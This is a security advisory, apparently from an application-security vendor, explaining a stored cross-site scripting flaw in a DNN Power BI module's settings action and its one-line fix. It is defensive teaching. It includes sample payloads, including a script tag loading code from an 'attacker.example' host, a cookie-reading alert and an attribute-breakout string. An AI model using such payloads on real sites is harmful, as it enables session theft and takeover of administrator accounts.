Summary
The Index POST action of the Power BI module's SettingsController was decorated with [ValidateInput(false)], switching off ASP.NET MVC's built-in request validation for every form field bound to SettingsModel. Raw <script> markup could therefore be persisted into module settings and later rendered back to other users. The fix removes the attribute, restoring framework-level rejection of markup-bearing input on that action while leaving its [ValidateAntiForgeryToken] and edit-level authorization checks intact.
A one-attribute opt-out that removed the last server-side check
The settings screen for this DNN Power BI module posts a form to an MVC action with a very ordinary signature:
[HttpPost]
[ValidateInput(false)]
[DotNetNuke.Web.Mvc.Framework.ActionFilters.ValidateAntiForgeryToken]
public ActionResult Index(SettingsModel settings)
Three attributes, and at first glance the action looks well defended. ValidateAntiForgeryToken stops cross-site request forgery. The controller is gated by DnnModuleAuthorize with SecurityAccessLevel.Edit, so an anonymous visitor cannot reach it. What neither of those attributes does is look at what was submitted.
That job belonged to ASP.NET request validation — the framework feature that inspects form, query string, and cookie values and throws HttpRequestValidationException when it sees something that looks like markup. [ValidateInput(false)] turns it off for the whole action. Every property the model binder populates on SettingsModel arrives exactly as the client typed it, including <script>alert(document.cookie)</script>.
Nothing else in the action compensated. The values are bound, validated against whatever data annotations exist (length, required, format), and written to DNN module settings storage. That storage is read back and rendered the next time anyone opens the settings screen or views the module — and any rendering path that does not HTML-encode becomes an execution path.
This is the recurring shape of stored XSS in ASP.NET MVC: not a flashy Html.Raw call, but an input-validation opt-out added years earlier, in a controller nobody suspected, paired with an output path nobody re-audited.
Affected Versions
| Affected | not applicable (first-party code) — the [HttpPost] Index(SettingsModel settings) action of the module's SettingsController |
| Fixed in | not applicable (first-party code) — fixed by the commit removing [ValidateInput(false)] from that action |
| Ecosystem | unknown (ASP.NET MVC module for the DNN platform, C#) |
| CVE / GHSA | not assigned |
| CWE | CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') |
The Vulnerability Explained
The vulnerable pattern
The only change needed to create this issue is one line of metadata:
[HttpPost]
[ValidateInput(false)] // <-- disables ASP.NET request validation for this action
[DotNetNuke.Web.Mvc.Framework.ActionFilters.ValidateAntiForgeryToken]
public ActionResult Index(SettingsModel settings)
{
// settings.* properties arrive un-inspected and are persisted as module settings
}
[ValidateInput(false)] is an all-or-nothing switch at action scope. It does not relax validation for one field that genuinely needs HTML; it relaxes it for every property on SettingsModel, plus the query string and cookies accompanying that request. For a settings model full of configuration strings — workspace and report identifiers, display options, cached credentials metadata — none of which should ever contain markup, that is a pure loss of protection with no corresponding gain.
Why the authorization gate is not a fix
The usual rebuttal is "only editors can post to this action." That reasoning fails for stored XSS in a CMS for three reasons specific to this setup:
- Privilege boundaries exist inside the editor tier. A DNN install typically has content editors with module Edit permission on specific pages and separate administrator or host accounts with far broader power. A payload stored by the former and rendered for the latter is privilege escalation, not a lateral move. The script runs with the administrator's session and can create a new host user, change module settings site-wide, or install an extension.
- CSRF protection does not imply the request is intentional.
[ValidateAntiForgeryToken]proves the request carried a matching token, not that the human behind the browser understood what they submitted. Any XSS elsewhere in the site, or a token-leaking bug, can be used to drive this action with attacker-chosen field values. - The payload outlives the session. Unlike reflected XSS, a stored setting fires on every subsequent render, for every viewer, with no social engineering required.
Attack scenario
Consider an editor-level account on a DNN portal that has the Power BI module placed on an internal reporting page.
- The attacker opens the module's settings screen and posts the form to
SettingsController.Index. Because the browser supplies a valid anti-forgery token and the account holdsSecurityAccessLevel.Edit, both protective attributes are satisfied. - Into one of the free-text settings fields bound to
SettingsModelthey place a payload such as"><script src="https://attacker.example/p.js"></script>. - With
[ValidateInput(false)]in force, ASP.NET raises no exception. The value binds, passes any length or format annotations, and is persisted into module settings. - The portal administrator later opens the same settings screen — or any view that echoes the stored setting into HTML without encoding — and the external script executes in their session context.
p.jsperforms its actions as the administrator: harvesting the authentication cookie, enumerating other modules' settings (including any Power BI service principal configuration surfaced to the UI), or posting back to administrative endpoints with the administrator's own anti-forgery token.
The real-world impact for a service running this module is therefore full compromise of the DNN portal from a content-editor foothold, plus exposure of whatever Power BI tenant configuration the module stores.
The Fix
The change is a single deleted attribute:
[HttpPost]
- [ValidateInput(false)]
[DotNetNuke.Web.Mvc.Framework.ActionFilters.ValidateAntiForgeryToken]
public ActionResult Index(SettingsModel settings)
Why this resolves the issue
With the attribute gone, the ASP.NET request validation pipeline inspects every posted value before the model binder hands it to Index. A field whose value begins with a pattern like < followed by a letter, or contains &#, causes the framework to throw HttpRequestValidationException and return an error response. The malicious settings value never reaches SettingsModel, never reaches module settings storage, and therefore never reaches a rendered page.
Three things deliberately did not change, and that matters:
[ValidateAntiForgeryToken]stays. Request validation and CSRF protection solve different problems; removing one to add the other would be a regression.- The
DnnModuleAuthorizeedit-level gate stays. It still limits who can submit settings at all, which keeps the blast radius small even if a future payload slips past content checks. - The action signature and
SettingsModelbinding are untouched. This is intentionally a minimal, low-risk change — no behavioural rewrite of how settings are saved.
What this fix does not cover
Request validation is a coarse filter, and treating it as the whole answer would be a mistake. It will not reject:
javascript:ordata:URIs stored in a field that is later emitted into anhreforsrcattribute;- payloads that break out of an unquoted HTML attribute without using
<, such asx onmouseover=alert(1); - content injected into a JavaScript or CSS context in a view, where HTML-level heuristics are irrelevant.
The durable control is on the rendering side: every view that displays a persisted module setting should emit it through Razor's default HTML encoding (@setting, not @Html.Raw(setting)), and attribute and URL contexts should use the matching encoder. If one specific SettingsModel property truly must accept HTML — an embed snippet, for example — the correct pattern is [AllowHtml] on that single property combined with explicit sanitization, never an action-wide [ValidateInput(false)].
One operational note: because request validation now applies, any existing deployment whose settings legitimately contain angle brackets will begin seeing validation errors on save. That is the trade-off being accepted, and it is the right one for configuration fields that should hold identifiers and flags. This change was produced by review rather than by an executed test suite, so confirm the settings round-trip on a staging portal before rolling it out.
Key Takeaways
[ValidateInput(false)]is action-scoped and total. It disables content inspection for every property bound onSettingsModel, plus the query string and cookies — not just the one field a developer was trying to unblock. Reach for[AllowHtml]on a single property instead.[ValidateAntiForgeryToken]andDnnModuleAuthorize(AccessLevel = SecurityAccessLevel.Edit)do not inspect payload content. Authorization and CSRF attributes answer "who" and "was this intentional," never "is this value safe to store and render."- Editor-level write access is a real attacker position in a CMS. A payload stored through the module settings form by a content editor executes in the administrator's session, which is escalation, not a side-effect.
- Stored settings are a long-lived sink. Values written once through
SettingsController.Indexare re-rendered on every subsequent view, so a single successful submission has indefinite reach. - Removing the opt-out restores a backstop, not a guarantee. Request validation misses
javascript:URIs and attribute-context breakouts, so settings views still need encoded output rather thanHtml.Raw.
How Orbis AppSec Detected This
- Source: the HTTP form fields bound by the ASP.NET MVC model binder into the
SettingsModelparameter of the[HttpPost] Index(SettingsModel settings)action onSettingsController. - Sink: persistence of those values into DNN module settings, which are subsequently rendered into HTML by the module's settings and display views.
- Missing control:
[ValidateInput(false)]on the action disabled ASP.NET request validation, and no replacement server-side sanitization or encoding guarded the values before they were stored; the surrounding[ValidateAntiForgeryToken]andSecurityAccessLevel.Editchecks do not inspect field content. - CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
- Fix: remove the
[ValidateInput(false)]attribute from the settings POST action so framework request validation again rejects markup-bearing values before model binding.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
High-severity stored XSS rarely arrives as a dramatic piece of code. Here it arrived as one attribute, [ValidateInput(false)], sitting above a settings action that otherwise looked locked down by anti-forgery and edit-permission filters. Those filters controlled who could post and whether the post was deliberate; nothing controlled what the post contained, so markup submitted by a content editor could be stored in module settings and later executed in an administrator's browser.
Deleting the attribute restores the framework's own rejection of markup in posted settings values and costs nothing for fields that should only ever hold identifiers and flags. The broader lesson for anyone maintaining DNN modules or ASP.NET MVC controllers: treat every [ValidateInput(false)] in a codebase as an open question — why is it there, which property actually needed it, and is the stored value encoded on the way back out? No CVE or GHSA identifier has been assigned to this issue; it is tracked only as the CWE-79 fix commit for this module.